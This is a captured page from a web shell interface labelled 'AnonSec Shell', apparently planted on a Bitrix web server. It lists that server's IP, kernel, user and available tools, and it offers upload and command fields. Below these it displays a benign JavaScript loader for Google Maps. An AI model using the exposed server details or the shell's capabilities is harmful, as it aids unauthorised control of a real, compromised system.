AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.15.237.172
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/location/google/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/location/google/src/loader.js
/**
 * Loads google source services
 */
export default class Loader
{
	static #loadingPromise = null;

	static #createSrc(apiKey, languageId)
	{
		return 'https://maps.googleapis.com/maps/api/js'
			+ `?key=${apiKey}`
			+ '&libraries=places'
			+ `&language=${languageId}`
			+ `&region=${this.#getRegion(languageId)}`;
	}

	static #getRegion(languageId: string): string
	{
		const map = {
			'en': 'US',
			'uk': 'UA',
			'zh': 'CN',
			'ja': 'JP',
			'vi': 'VN',
			'ms': 'MY',
			'hi': 'IN'
		};

		return typeof map[languageId] !== 'undefined' ? map[languageId] : languageId.toUpperCase();
	}

	/**
	 * Loads google services
	 * @param {string} apiKey
	 * @param {string} languageId
	 * @returns {Promise}
	 */
	static load(apiKey: string, languageId: string): Promise
	{
		if (Loader.#loadingPromise === null)
		{
			Loader.#loadingPromise = new Promise((resolve) => {

				BX.load(
					[Loader.#createSrc(apiKey, languageId)],
					() => {
						resolve();
					}
				);
			});
		}

		return Loader.#loadingPromise;
	}
}

Anon7 - 2022
AnonSec Team